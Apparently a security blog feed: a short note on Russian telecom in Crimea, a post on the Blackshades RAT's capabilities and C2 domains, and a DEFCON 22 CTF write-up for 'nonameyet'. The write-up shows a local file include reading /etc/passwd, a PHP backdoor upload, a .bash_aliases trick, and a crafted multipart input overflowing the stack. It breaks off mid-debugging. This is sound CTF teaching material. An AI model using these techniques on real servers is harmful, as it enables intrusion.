By owning the telecom connections into Crimea, Russia ensures security for its communications there and eliminates Ukrainian disruptions. Russia’s telecom investments suggest that in the 21st century, national priorities in times of conflict have been reorganized around the assurance of secure telecommunications even before the assurance of traditional critical infrastructure security.

The threats to critical infrastructure are real and significant, but this prioritization of telecommunications as a tool of international relations suggests that we should pay attention not only to the cyber security risks to critical infrastructure, but also to how countries are using this very infrastructure as a tactic during times of conflict.

Blackshades: Why We Should Care About Old Malware

$
0
0

“Blackshades is so 2012” is the near response I received when I mentioned to a friend the recent FBI takedown of almost 100 Blackshades RAT dealers. This nonchalant, almost apathetic attitude towards older malware struck a nerve with me, since I’ve known network defenders and incident responders with the same sentiment. If the malware isn’t fresh, or if it’s perceived as old, they don’t want any part of it. While that attitude isn’t necessarily the norm, it does serve as a reminder that malware never truly dies–it just keeps on compromising. In fact, more than a half million computers in over 100 countries were reportedly recently infected by the Blackshades malware.

The FBI arrests are indicative of the omnipresence of malware even after it has been identified. In addition to the arrests, the FBI seized more than 1,900 domains used by Blackshades users to control their victims’ computers. Despite these seizures, countless systems from around the globe continue to attempt connections with their respective Blackshades Command and Control (CnC) domains. And there’s really no telling how many people have a copy of the RAT. Blackshades has been around for a while, and with a sales price of $40, it’s also quite affordable–not to mention the fact that the source code was leaked in 2010. It seems likely that there are a number of Blackshades RAT controllers still at large.

What does Blackshades actually do? Just about anything the controller wants. Lately, the news around Blackshades has focused on its use as “Creepware,” in which a victim’s webcam is turned on remotely. But the RAT can do much more than that. For example, a couple of years ago the Blackshades Stealth version advertised the following capabilities:

  • General Computer Information (local IP, username, operating system (OS), uptime, webcam, etc.)
  • Screen, Webcam, and Voice Capture
  • Keylogger, File Manager, Processes, Password Recovery, Ping
  • Download and Execute, Shell, Maintenance (reconnect, close, restart, uninstall)
  • Open Windows (shows what applications are open)
  • Mac Compatible Client

There were other versions, too. The Blackshades Radar, for example, advertised the ability to set keywords to listen for in either the window title or written text. This would then trigger a key-logger to start logging keystrokes for a controller-specified amount of time, and the data collected would be sent back to the controller via email. This capability helped attackers pinpoint and exfiltrate a desired set of data, without a lot of excess key-logged chaff. Blackshades Recover advertised the ability to collect passwords, CD keys, and product keys for hundreds of popular software applications. And Blackshades Fusion advertised its ability to incorporate many of the previously described functions.

With such an impressive resume of capabilities, it’s no wonder the Syrian government used Blackshades, along with RAT-siblings Dark Comet and Gh0stRAT, against Syrian activists in early 2012. And even though that campaign may also be “so 2012” to some, the well-reported CnC domain used (alosh66(dot)servecounterstrike(dot)com) is still very much alive and kicking. In fact, according to various sources, there have been over 21,000 connection attempts for the domain this year from several countries around the globe, including from the U.S., with the majority coming from a Syrian Internet Service Provider. If this number for alosh66(dot)servecounterstrike(dot)com is accurate, and if that number holds true for the 1,900 domains ceased by the FBI, that would equate to potentially 39,879,000 connection attempts to Blackshades CnC domains since January 1, 2014. Fortunately, the domain has essentially been terminated, as it has been resolving to 0.0.0.0 since 2012, but it’s possible that the controller could have reconfigured those systems to communicate via a different CnC domain, meaning all of the aforementioned systems could be actively infected.

While the exact number of infected systems cannot be determined, the recent arrests illustrate the longevity of malware. The cybercrime landscape not only includes new and emerging threats, but also requires constant assessment of older malware. Regardless of how many systems are infected by the Blackshades RAT, the FBI arrests truly highlight the fact that the war on cybercrime is in full swing.

DEFCON Capture the Flag Qualification Challenge #2

$
0
0

This is my second post in a series on DEFCON 22 CTF Qualifications. Last time I examined a problem called shitsco and gave a short overview of CTF. This week, I’d like to walk you through another DEFCON Qualification problem: “nonameyet” from HJ. This problem was worth 3 points and was opened late in the game. It was solved by 10 teams but, sadly, my team, Samurai, was not one of them. I managed to land this one about an hour after the game ended. It’s a common theme among CTF players that they don’t stop after the game ends. There’s always some measure of personal pride on the line when it comes to solving these problems, regardless of points earned.

The problem description for nonameyet is:

I claim no responsibility for the things posted here. nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me:80

There is no download link provided and the service is running on port 80. We are to assume that this is a web challenge. Browsing to the web application I see that it allows users to upload photos to a /photos directory, hence the disclaimer in the problem description. Whenever a file upload capability is involved in a CTF web challenge, you can bet that it will be a source of a vulnerability. I have yet to see a web application problem in a CTF that provided a counter example.

One of the URLs for the web application looked like this:

http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=xxxxxxx

When I see page=xxxxxxx referencing a filename there is potential for a local file include vulnerability. Indeed, if I visit:

http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=/etc/passwd

I am able to view the shadowed password file on the server. So far, so good. Unfortunately, asking for the flag file directly yields an error. Of course, a 3 point problem would never be so easy in this CTF. Let’s turn our attention back to the file upload.

The page with the HTML for the upload form is upfile.html. This is loaded with a “?page=upfile.html” on the end of the URL. Examining the HTML source code on this file shows that our form data is submitted to /cgi-bin/nonameyet.cgi. We can recover this CGI program with a simple wget command:

 $ wget http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php\?page\=cgi-bin/nonameyet.cgi

$ file nonameyet.cgi

nonameyet.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped

You can find a copy of nonameyet.cgi here.

More interestingly, it is also possible to use the upload form to upload anything at all. This just begs to have a PHP backdoor uploaded to the system. We put a simple PHP file manager on nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me...and used that to look around the directory structure and permissions placed on the files. Specifically, we could see that the /home/nonameyet/flag file was owned by nonameyet:nonameyet. I need to gain execution as this user to retrieve the flag. The web server executing the PHP scripts (including our backdoor) was running as the web server user.

It is important to note that getting a shell on a box provides an opportunity for many new attack vectors. For this problem, it was actually solved by other teams editing the file /home/nonameyet/.bash_aliases to include an alias that would copy the /home/nonameyet/flag file to /tmp with world readable permissions. The next time anyone popped a shell on this box and ran “ls” they would hand the flag over to another team. This was a very clever and devious thing to do—and in some sense, this is what CTF is all about.

I believe that having this file editable was an oversight on the part of the organizers. This file should not have been writeable. It was a great advantage for the teams that realized this mistake because they were free to look at other problems while waiting for someone else to come along and solve it the “legitimate” way. Furthermore, anyone that thought to look in /tmp before the flag was cleaned up could score points too. Lesson learned: Always poke around more and possibly set up some sort of monitoring for these kinds of issues. I wish I had thought of this first!

Binary Analysis

I went straight for the binary in the problem. The binary was not marked SUID so there must be some webserver magic launching the CGI program as the nonameyet user. Indeed, HJ confirmed that he was using a modified version of suexec after the game. I have already run a file command to see that the CGI program is an ELF 32-bit program. My usual next step is to run strings.

$ strings nonameyet.cgi
…

I see imports for C functions related to string parsing and file operations including dangerous APIs like strcpy() and sprintf(). I see a list of the errors the CGI program will return and input variables like photo, time, and date. There are some chunks of HTML and HTTP headers too. So far, it is a fairly typical CGI program. If you try to run it you will get an error 900 printed out to you with HTML tags. A quick strace shows that it is looking for the photos directory. Create this directory and you will move on to the program prompting you for input. Just enter ^D to signal an end of file and you will receive an error 902. Back to the strings. One string that really caught my eye was the “cgilib” string. This is indicative of a cgilib library. There were other strings that pointed to a library as well, such as the “/tmp/cgilibXXXXXX” string.

Cgilib is a “library [that] provides a simple and lightweight interface to the Common Gateway Interface (CGI) for C and C++ programs. Its purpose is to provide an easy to use interface to CGI for fast CGI programs written in the C or C++ programming language.” It is also an open source project. We can see from the output of the file command that the nonameyet.cgi program is dynamically linked, so let’s take a quick peek with ldd to see if cgilib is statically compiled into the binary or dynamically loaded at runtime from our system library.

$ ldd nonameyet.cgi
    linux-gate.so.1 =>  (0xb77dd000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761e000)
    /lib/ld-linux.so.2 (0xb77de000)

We do not see cgilib on the list returned form ldd, so the cgilib library is statically linked. That is to say that if the cgilib binary is used in this program, it must have been compiled into the binary, which means that I could have source code for a good chunk of this problem. That would be a great aid in the reverse engineering process. One way to match up statically compiled libraries into CTF binaries is to use the IDA Pro FLAIR tool to generate a FLIRT signature that can be applied to the binary.

Which version of the library should I grab? The reverse lookup on the IP address used for this problem pointed to an Amazon EC2 server. I created an EC2 instance running the latest version of Ubuntu and applied all updates. It is important to mirror the game box as closely as possible. It is even better if we can run from the same ISP. I installed cgilib with this command:

$ sudo apt-get install cgilib

This added a file in /usr/lib/cgilib.a. I pulled this file back to my analysis machine with FLAIR installed and ran:

C:\> pelf -a libcgi.a
C:\> sigmake -n "libcgi" libcgi.pat libcgi.sig

The first command “pelf” will parse the library file and generate patterns for all exported symbols. The output of the command is put into the libcgi.pat file. The next “sigmake” command will read from the libcgi.pat file and create a binary representation that is output in the libcgi.sig file. This sig file can then be copied into the IDA Pro /sig directory and applied to a live database. All of this completely failed. No symbols were applied. I have not identified why. Bummer.

Thankfully, the library is very simple and almost all of the functions contain unique strings. We can download the source code for libcgi, find a function we are interested in, find a string used in that function, then find the same string in IDA Pro. Once we find the string in IDA we can press ‘x’ while the cursor is positioned on that string to find cross-references. If we follow the (hopefully) single cross-reference that exists, we can then name the function referencing that string as it is named in the source code for cgilib. It is a bit slower than FLIRT signatures but we will be able to flag a significant portion of the program as “uninteresting” right away. For example, if we look at the cgiReadFile function in the cgilib source code cgilib-0.7/cgi.c:

char *cgiReadFile (FILE *stream, char *boundary)
{
    char *crlfboundary, *buf;
    size_t boundarylen;
    int c;
    unsigned int pivot;
    char *cp;
    char template[]= "/tmp/cgilibXXXXXX";
    FILE *tmpfile;
    int fd;

We can then find the /tmp/cgilibXXXXXX string in IDA Pro with a “search sequence of bytes”.

This will fail! As it turns out, there is a compiler optimization used on this function causing the string to be loaded as an immediate value on the stack. This is also sometimes used in programs that want to make string analysis more difficult on the reverse engineer. Indeed, if we go back and look at the string output our first clue is there:

~$ strings nonameyet.cgi
…
/tmp
/cgi
libX
XXXXf
…

They are broken up into groups of 4. This is because they are referenced as immediate DWORD values being moved into memory. Let’s repeat the search using a smaller string. If we search for “/tmp” we see exactly one spot in the binary where this appears. Here is how IDA shows the string data being loaded onto the stack:

We can now go to the top of this function and name it (‘n’ key) “cgiReadFile.” If you go through the rest of cgi.c you will end up with the following functions named:

The function named cgi_print (my name, not the cgilib name) is frequently called to output error messages that would be useful for debugging purposes. A quick look at this function reveals that if we set dword_804f0dc (normally 0 in the .bss) to something greater than arg0 (I assume this is a logging level?) we can get debugging output from the binary. In gdb the command to do this is:

int __usercall main@<eax>(char *a1@<esi>)
{
  int result; // eax@2
  void *v2; // eax@15
  int v3; // [sp+1Ch] [bp-4Ch]@1
  int v4; // [sp+20h] [bp-48h]@9
  int v5; // [sp+24h] [bp-44h]@5
  int v6; // [sp+28h] [bp-40h]@9
  int v7; // [sp+2Ch] [bp-3Ch]@5
  int v8; // [sp+30h] [bp-38h]@9
  int v9; // [sp+34h] [bp-34h]@5
  int v10; // [sp+38h] [bp-30h]@9
  int v11; // [sp+3Ch] [bp-2Ch]@5
  int v12; // [sp+40h] [bp-28h]@9
  int v13; // [sp+44h] [bp-24h]@5
  int v14; // [sp+48h] [bp-20h]@9
  size_t file_size; // [sp+4Ch] [bp-1Ch]@1
  const void *v16; // [sp+50h] [bp-18h]@1
  void *s_cgi; // [sp+54h] [bp-14h]@1
  int photo; // [sp+58h] [bp-10h]@1
  int v19; // [sp+5Ch] [bp-Ch]@1

  v16 = 0;
  file_size = 0;
  s_cgi = 0;
  photo = 0;
  v19 = 0;
  memset(&v3, 0, 0x30u);
  s_cgi = cgiInit();
  v19 = open("./photos", 0);
  if ( v19 == -1 )
  {
    write_headers();
    printf("<p>ERROR: 900</p>");
    result = 0;
  }
  else if ( fchdir(v19) == -1 )
  {
    write_headers();
    printf("<p>ERROR: 901</p>");
    close(v19);
    result = 0;
  }
  else
  {
    close(v19);
    photo = cgiGetFile((int)s_cgi, "photo");
    v3 = cgiGetValue((int)s_cgi, "base");
    v7 = cgiGetValue((int)s_cgi, "time");
    v9 = cgiGetValue((int)s_cgi, "date");
    v11 = cgiGetValue((int)s_cgi, "pixy");
    v13 = cgiGetValue((int)s_cgi, "pixx");
    v5 = cgiGetValue((int)s_cgi, "genr");
    if ( photo )
    {
      if ( !v3 )
        v3 = *(_DWORD *)(photo + 8);
      v4 = urldecode(v3);
      v8 = urldecode(v7);
      v6 = urldecode(v5);
      v10 = urldecode(v9);
      v12 = urldecode(v11);
      v14 = urldecode(v13);
      v16 = read_file(*(char **)(photo + 12), (int)&file_size);
      if ( v16 )
      {
        if ( file_size )
        {
          if ( (interesting((int)&file_size, a1, (int)&v3) & 0x80000000) == 0 )
          {
            v2 = base64encode(v3, v4);
            combine_strings("Cookie", v2);
            write_headers();
            cgiFree(s_cgi);
            v19 = open((const char *)v3, 66, 420);
            if ( v19 == -1 )
            {
              printf("<p>ERROR: 906</p>", v3);
            }
            else
            {
              write(v19, v16, file_size);
              close(v19);
            }
            printf("<meta http-equiv='refresh' content='0;url=../thanks.php'>");
            result = 0;
          }
          else
          {
            write_headers();
            printf("<p>ERROR: 905</p>");
            result = 0;
          }
        }
        else
        {
          write_headers();
          printf("<p>ERROR: 904. Why the hell would you give me an empty file</p>");
          result = 0;
        }
      }
      else
      {
        write_headers();
        printf("<p>ERROR: 903</p>");
        result = 0;
      }
    }
    else
    {
      write_headers();
      printf("<p>ERROR: 902</p>");
      result = 0;
    }
  }
  return result;
}

When looking at a CTF problem, you should always be asking yourself “What is happening with my input?” Most of the parsing happens right up front in the cgiInit() function. This function will read and parse CGI input and set up the s_cgi structure. This function first checks for the environment variable CONTENT_TYPE. CGI input is usually passed via environment variables and stdin from the webserver. If this environment variable is not set then the program will read variables from stdin.

If the CONTENT_TYPE variable is set to “multipart/form-data” it will parse out a boundary condition from the variable and call off into the cgiReadMultipart() function before returning. If the CONTENT_TYPE variable is anything else, the program then looks for the REQUEST_METHOD and CONTENT_LENGTH environment variables.

For a REQUEST_METHOD of “GET” the environment variable QUERY_STRING is parsed and for a REQUEST_METHOD of “POST” stdin is parsed. If none of these are specified then the cgiReadVariables() function will prompt for input from the command line. This is very handy for quick testing. The cgiInit() function will also parse cookie information. All of this was learned by reading the cgilib source code for cgiInit().

We have five code paths for parsing our input: multipart, get, post, stdin, and cookies. All of these are standard in cgilib. Which code path should we explore first? Let’s start with the simplest form, no environment variables, and data parsed directly from stdin.

$ python -c "print 'asdf=asdf'" | ./nonameyet.cgi
	(offline mode: enter name=value pairs on standard input)
	Content-type: text/html<p>ERROR: 902</p>

Here we just set a variable asdf = asdf and we are returned error 902, the same as if we passed in no input. Looking back to main() we can easily spot where “ERROR: 902” is printed inside of an else block. Look up to the if condition on that else block and we see that this is because photo = cgiGetFile((int)s_cgi, “photo”); returned NULL. Setting the photo variable from stdin also produces the same error. The cgiGetFile() call did not find a variable called photo registered in the s_cgi structure. There is another interesting behavior here if we set the same variable twice:

$ python -c "print 'asdf=asdf\nasdf=asdf'" | ./nonameyet.cgi
	(offline mode: enter name=value pairs on standard input)
	Segmentation fault (core dumped)

Crashes are usually really good in a CTF competition. Going into this with a debugger we find:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi
(offline mode: enter name=value pairs on standard input)
asdf=asdf
asdf=asdf

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x4
ECX: 0xb7fcf448 --> 0x8050080 --> 0x66 ('f')
EDX: 0x8050078 ("asdf\nasdf")
ESI: 0x0
EDI: 0x805008d --> 0x0
EBP: 0xbffff668 --> 0xbffff698 --> 0xbffff708 --> 0x0
ESP: 0xbffff590 --> 0x0
EIP: 0x804bb5d (mov    edx,DWORD PTR [eax+0x4])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804bb52:   shl    eax,0x2
   0x804bb55:   add    eax,DWORD PTR [ebp-0x84]
   0x804bb5b:   mov    eax,DWORD PTR [eax]
=> 0x804bb5d:   mov    edx,DWORD PTR [eax+0x4]
   0x804bb60:   mov    eax,DWORD PTR [ebp-0x98]
   0x804bb66:   shl    eax,0x2
   0x804bb69:   add    eax,DWORD PTR [ebp-0x84]
   0x804bb6f:   mov    eax,DWORD PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xbffff590 --> 0x0
0004| 0xbffff594 --> 0x804d483 ("%s\n%s")
0008| 0xbffff598 --> 0x8050058 --> 0x0
0012| 0xbffff59c --> 0x8050088 --> 0x8050050 --> 0x0
0016| 0xbffff5a0 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f
0020| 0xbffff5a4 --> 0x3
0024| 0xbffff5a8 --> 0x0
0028| 0xbffff5ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804bb5d in ?? ()
gdb-peda$

I should mention that I am using PEDA with GDB. It makes exploit development tasks a lot easier than standard GDB. I encourage you to check it out and explore how it works. Anyway, this is a NULL pointer dereference crash. The register EAX is being dereferenced. EAX is NULL. As a result, the program sends a signal 11 or SIGSEGV and we terminate execution. The buggy code seems to be in cgilib/cgi.c on line 644 when they attempt to do:

644:	cgiDebugOutput (1, "%s: %s", result[i]->name, result[i]->value);

It looks to me like they used the incorrect index into the result array. There is another index counter called k used earlier in the code that accounts for duplicate variable name. My guess is that this line was simply copy and pasted from line 630 and the developers did not change ‘i’ to ‘k’. Either way, I am not sure if a web server would ever generate input to a CGI program like this, and unless we can somehow allocate the NULL address space on the remote server, this is not likely to be an interesting crash when solving the CTF problem. Interesting, but ultimately useless.

Back to our problem. The photo variable is NULL. Looking back in cgi.c source code for cgiGetFile() it is easy to spot that this information comes from s_cgi->files. Ok, that makes sense. However, the only code path that sets this information is when we have a CONTENT_TYPE of “multipart/form-data”. This was discovered with a quick grep for “->files” in the cgilib source code to find something that writes to this variable. The one place this happens is in the cgiReadMultipart() function. Let’s jump into feeding this program multipart data.

I used Wireshark to perform a packet capture on the data that was being sent by my browser when submitting a form to nonameyet.cgi. After all, the browser should already generate everything we need. With a quick copy and paste and setting up lines to end with \r\n instead of \n I now have the following setup to get multipart data parsed by the CGI program:

$ export CONTENT_TYPE="Content-Type: multipart/form-data; boundary=---------------------------13141138687192"

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="test"
Content-Type: application/octet-stream

test

-----------------------------13141138687192--

Remember each line ends with \r\n. After I set up the formdata file and my environment variable, let’s see if we can get past that error 902 output. I will also turn on the debug output with the debugger after breaking on main():

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ break *0x0804906D
Breakpoint 1 at 0x804906d
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata
Breakpoint 1, 0x0804906d in ?? ()
gdb-peda$ set {int}0x804F0DC=1000
gdb-peda$ c
Continuing.
Content-Type: Content-Type: multipart/form-data; boundary=---------------------------13141138687192
Read line '-----------------------------13141138687192'
Read line 'Content-Disposition: form-data; name="photo"; filename="test"'
Found field name photo
Found filename test
Read line 'Content-Type: application/octet-stream'
Found mime type application/octet-stream
Read line ''
Wrote photo (test) to file: /tmp/cgilibWFDOKJ
Read line '-----------------------------13141138687192'
photo found as test
Content-type: text/html
Cookie: YmFzZQA=<meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 7579) exited normally]

That looks pretty good! In truth, it took a bit of playing around to get to this point. Now we have everything specified in our form being read. The file contents were written and parsed and if we look in the /photos directory we see a file named base with the contents test:

$ ls photos/
base
$ cat photos/base
test

Where is the bug? If you look back up in the main() function you will see a subroutine I labeled “interesting”. The only way to get to this function is to have a valid photo returned from cgiGetFile(). Here is the decompiled source code for the interesting function:

unsigned int __usercall interesting@<eax>(int edi0@<edi>, char *a2@<esi>, int a1)
{
  unsigned int result; // eax@1
  void *v4; // esp@2
  char v5; // bl@3
  int v6; // edx@3
  int v7; // ecx@3
  void *v8; // esp@4
  int v9; // ecx@7
  unsigned int v10; // ecx@8
  void *v11; // edi@9
  unsigned int v12; // ecx@11
  void *v13; // edi@12
  unsigned int v14; // ecx@14
  void *v15; // edi@15
  unsigned int v16; // ecx@17
  void *v17; // edi@18
  unsigned int v18; // ecx@20
  void *v19; // edi@21
  int v20; // eax@25
  int v21; // [sp+0h] [bp-20h]@2
  unsigned int counter_1; // [sp+8h] [bp-18h]@1
  const void *esp_ptr; // [sp+Ch] [bp-14h]@2
  int file_name_size; // [sp+10h] [bp-10h]@2
  int filename; // [sp+14h] [bp-Ch]@2
  int type_mult_2; // [sp+18h] [bp-8h]@2
  int counter; // [sp+1Ch] [bp-4h]@1

  result = 0;
  counter = 0;
  counter_1 = 0;
  if ( a1 )
  {
    file_name_size = *(_DWORD *)(a1 + 4);
    type_mult_2 = 2 * file_name_size;
    v4 = alloca(2 * file_name_size);
    esp_ptr = &v21;
    filename = *(_DWORD *)a1;
    while ( 1 )
    {
      while ( 1 )
      {
        v5 = *(_BYTE *)(counter + filename);
        v6 = counter++ + filename + 1;
        v7 = type_mult_2;
        if ( type_mult_2 <= (signed int)counter_1 )
        {
          v8 = alloca(type_mult_2);
          qmemcpy(&v21, &v21, type_mult_2);
          a2 = (char *)&v21 + v7;
          edi0 = (int)((char *)&v21 + v7);
          esp_ptr = &v21;
          type_mult_2 *= 2;
        }
        if ( v5 != '%' || *(_BYTE *)(v6 + 4) != '%' )
        {
          *((_BYTE *)esp_ptr + counter_1++) = v5;
          goto LABEL_24;
        }
        v9 = *(_DWORD *)v6;
        v6 += 5;
        counter += 5;
        if ( v9 != 'rneG' )
          break;
        v10 = *(_DWORD *)(a1 + 12);
        a2 = *(char **)(a1 + 8);
        if ( a2 )
        {
          v11 = (char *)esp_ptr + counter_1;
          counter_1 += v10;
          qmemcpy(v11, a2, v10);
          a2 += v10;
          edi0 = (int)((char *)v11 + v10);
LABEL_24:
          if ( file_name_size <= counter )
          {
            v20 = mmap(v6, edi0, (int)a2);
            qmemcpy((void *)v20, esp_ptr, counter_1);
            *(_DWORD *)a1 = v20;
            result = counter_1;
            *(_DWORD *)(a1 + 4) = counter_1;
            return result;
          }
        }
      }
      switch ( v9 )
      {
        case 'emiT':
          v12 = *(_DWORD *)(a1 + 20);
          a2 = *(char **)(a1 + 16);
          if ( a2 )
          {
            v13 = (char *)esp_ptr + counter_1;
            counter_1 += v12;
            qmemcpy(v13, a2, v12);
            a2 += v12;
            edi0 = (int)((char *)v13 + v12);
            goto LABEL_24;
          }
          break;
        case 'etaD':
          v14 = *(_DWORD *)(a1 + 28);
          a2 = *(char **)(a1 + 24);
          if ( a2 )
          {
            v15 = (char *)esp_ptr + counter_1;
            counter_1 += v14;
            qmemcpy(v15, a2, v14);
            a2 += v14;
            edi0 = (int)((char *)v15 + v14);
            goto LABEL_24;
          }
          break;
        case 'YxiP':
          v16 = *(_DWORD *)(a1 + 36);
          a2 = *(char **)(a1 + 32);
          if ( a2 )
          {
            v17 = (char *)esp_ptr + counter_1;
            counter_1 += v16;
            qmemcpy(v17, a2, v16);
            a2 += v16;
            edi0 = (int)((char *)v17 + v16);
            goto LABEL_24;
          }
          break;
        case 'XxiP':
          v18 = *(_DWORD *)(a1 + 44);
          a2 = *(char **)(a1 + 40);
          if ( a2 )
          {
            v19 = (char *)esp_ptr + counter_1;
            counter_1 += v18;
            qmemcpy(v19, a2, v18);
            a2 += v18;
            edi0 = (int)((char *)v19 + v18);
            goto LABEL_24;
          }
          break;
      }
    }
  }
  return result;
}

There are a few things that jump out at me right away. The first is the use of the alloca() function. The man page for alloca states “The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary space is automatically freed when the function that called alloca() returns to its caller.” Thus, we are dynamically growing the stack based upon file_name_size. This function call ends up being just a “sub esp” instruction in the assembly code, so don’t expect to see an import to alloca in the ELF header.

The next thing I notice are the case statements looking for 4 character string patterns of: Genr, Time, Date, PixY, and PixX. IDA shows these in little endian (backwards) format. The program checks for % characters in the filename input that are followed by another % character 4 character later. Thus, we are looking for DOS style variables like %Genr%. It turns out all of these variables are passed in as the third argument to the interesting function.

They are built into a structure that is 0x30 bytes long. First the sizes are built with calls to v3 = cgiGetValue((int)s_cgi, “base”); and the like. Then the strings for the variables are built immediately before the sizes. The IDA decompilation of the main function does not identify this as a structure. However, the memset(&v3, 0, 0x30u); and the fact that only v3 is passed into a function that clearly needs all of these variables is a big clue that this is a structure, or an array of structures, instead of 12 individual variables. The v3 variable in main() (or a1 in interesting()) ends up looking like this:

struct v3 {
	char * filename;
	unsigned int file_name_size;
	char * genr_str;
	unsigned int genr_size;
	char * time_str;
	unsigned int time_size;
	char * date_str;
	unsigned int date_size;
	char * pixy_str;
	unsigned int pixy_size;
	char * pixx_str;
	unsigned int pixx_size;
};

Have you spotted the bug yet? If not, go back to what is happening with our input in the interesting function. We pass this structure into our function, alloca (file_name_size * 2) and then what? We start copying into this array. It’s the qmemcpy calls that are in question here. These are presented in assembly as rep movsb instructions. Ask yourself how much data is being copied and what is the size of the destination buffer? Do you control the data being copied into the buffer? What variables are being updated in the loops to affect the starting offsets of the copy? Study the code and see if you can answer some of these questions. Do it now, I will wait.

Vulnerability Discovery

What you might notice is that after the program takes the length of file_name, doubles it, and allocates that amount of space on the stack, it will then proceed to copy in the values for the other variables from the structure. For example, if I set the filename “foobar” (name=”photo”; filename=”foobar” in my formdata file) and then if I set the Time input to be AAAAAA the CGI program will allocate 14 bytes on the stack (length of “foobar\0” * 2) and then copy in the value of the %Time% variable, which would also be 6 bytes. This will be clearer when looking at the actual input file.

The bug comes in if we make the length of Time larger than the length of file_name while having file_name reference %Time%. There is no check to see if we have enough stack space left. This is a stack overflow. The only issue is that if we try to encode a %Time% variable directly into the file_name then the program never gets to the interesting function! For clarity, this is what the formdata file looks like now for testing:

-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%Time%"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
-----------------------------13141138687192
Content-Disposition: form-data; name="Time"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----------------------------13141138687192--

The %Time% bit does not parse correctly and we miss the check for % in the filename. This is because the variables are being URL decoded. If I set it to %25Time%25 it will decode properly as %Time% (0x25 = ‘%’). The other problem I ran into with this input is that although the %Time% variable is case sensitive when the time pointers and sizes are actually set in the structure it is looked up with lower case only. So, name=”time” and filename=”%25Time%25” will produce the following crash:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x1000
ECX: 0x41414141 ('AAAA')
EDX: 0x80500a6 --> 0x0
ESI: 0x41414141 ('AAAA')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ('A'<repeats 46 times>)
ESP: 0xbffff60a ('A'<repeats 92 times>)
EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9a:   mov    edi,eax
   0x804cf9c:   mov    esi,DWORD PTR [ebp-0x14]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
=> 0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
   0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff60a ('A'<repeats 92 times>)
0004| 0xbffff60e ('A'<repeats 88 times>)
0008| 0xbffff612 ('A'<repeats 84 times>)
0012| 0xbffff616 ('A'<repeats 80 times>)
0016| 0xbffff61a ('A'<repeats 76 times>)
0020| 0xbffff61e ('A'<repeats 72 times>)
0024| 0xbffff622 ('A'<repeats 68 times>)
0028| 0xbffff626 ('A'<repeats 64 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804cfa2 in ?? ()
gdb-peda$

Huzzah! We’ve exercised the stack overflow and crashed on a memcpy(). If we can get the function to return we will have control over EIP. We are actually really close to the function return at this point as well. The ret instruction is at 0x0804CFB0, just a short 14 bytes away.

Let’s see if we can get around this crash. The rep movs instruction will move ECX number of bytes from the pointer in ESI to the pointer in EDI. Here, ECX is set to 0x41414141. Clearly we overwrote the size used in this copy. We could look at the stack frame and do the math with the allocas to figure out exactly which offset the counter is coming from, but it is faster to just put in a string pattern in the time variable.

We run it again with formdata of:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV
-----------------------------13141138687192—

Debugging this gives us the following:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x1000
ECX: 0x47474646 ('FFGG')
EDX: 0x80500a6 --> 0x0
